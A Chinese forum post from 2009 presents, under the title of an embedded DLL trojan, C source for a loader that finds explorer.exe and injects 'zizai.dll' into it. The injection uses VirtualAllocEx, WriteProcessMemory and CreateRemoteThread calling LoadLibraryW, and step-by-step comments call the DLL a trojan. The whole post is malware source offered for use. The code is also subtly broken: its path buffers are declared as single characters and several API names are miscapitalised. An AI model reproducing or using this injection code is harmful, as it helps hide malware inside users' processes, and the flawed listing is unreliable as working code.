fuchou-angle 发表于 2009-7-2 08:05:28

一个嵌入式dll木马源码

一个嵌入式dll木马源码
一个嵌入式dll木马源码2009-06-08 03:39//A.exe
#include <stdio.h>
#include <winsock2.h>
#include <tlhelp32.h>
#pragma comment (lib,"Advapi32.lib")
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)//函数头,呵呵,晕!
{
//我们说了要第一步要调用VirtualAllocEx()函数在目标进程中分配内存
//那么我们就得找到目标进程的PID,我们假设把目标进程锁定为explorer.exe
//下面是获取explorer.exe的PID
DWORD pid; //声明PID
HANDLE hSnapshot = NULL;
hSnapshot=createToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);
PROCESSENTRY32 a;
a.dwSize = sizeof(PROCESSENTRY32);
Process32First(hSnapshot,&a);
do
{
if(strcmp(a.szExeFile,"Explorer.exe")==0)
{
pid = a.th32ProcessID;//匹配,找到
break;
}
}
while(Process32Next(hSnapshot,&a)==TRUE);
CloseHandle (hSnapshot);//,找到了PID,善后
PWSTR pszLibFileRemote = NULL;//待会要作为传递的参数,(实际上是要存放我
//的DLL木马的空间)
HANDLE hRemoteProcess = NULL;
HANDLE hRemoteThread = NULL;
//下面这个OpenProcess() 来打开目标进程的,参数的设置你可以理解成在问系统要对目标进程的权限
hRemoteProcess = OpenProcess(
PROCESS_QUERY_INFORMATION |PROCESS_create_THREAD | //允许远程创建线程
PROCESS_VM_OPERATION | // 允许远程VM操作
PROCESS_VM_WRITE, // 允许远程VM写操作
FALSE, pid);
char CurPath; //用来存放当前路径
GetCurrentDirectory(256,CurPath);//获得当前的路径
strcat(CurPath,"\\zizai.dll"); //让zizai.dll的路径放入CurPath
//计算DLL路径名需要的内存空间,参考了JIURL的计算方法,强烈致谢
//SHOTGUN计算方法:int changdu = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);
int changdu = (strlen(CurPath)+1)*2;
WCHAR wCurPath;
MultiByteToWideChar(CP_ACP,0,CurPath,-1,wCurPath,256);
//调用VirtualAllocEx()函数在目标进程中分配内存
//注意是在远程进程hRemoteProcess的内存空间申请
pszLibFileRemote = (PWSTR)VirtualAllocEx(hRemoteProcess, NULL, changdu, MEM_COMMIT, PAGE_READWRITE);

//用WriteProcessMemory()函数向申请的内存中写入要注入zizai.dll的路径和名称,也就是参数
WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (PVOID) wCurPath, changdu, NULL);
//远程进程 //具体空间 //路径 //长度
//计算LoadLibraryW的入口地址,也就是远程线程的地址pfndizhi,用它来启动我们的DLL木马
PTHREAD_START_ROUTINE pfndizhi = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");//这里怎么会用到Kernel32呢?
//是因为LoadLibraryW函数是在kernel32.dll中定义的,就是用来启动DLL文件
//它只有一个参数,就是DLL文件的路径名(是木马DLL的绝对路径)

//利用createRemoteThread()在远程进程中创建一个线程,这个线程执行LoadLibraryW
//就实现了通过远程线程调用用户的DLL文件
//要把LoadLibraryW的入口地址代入
hRemoteThread = createRemoteThread(hRemoteProcess, NULL, 0, pfndizhi, pszLibFileRemote,0, NULL);
return 0;
}
页: [1]
查看完整版本: 一个嵌入式dll木马源码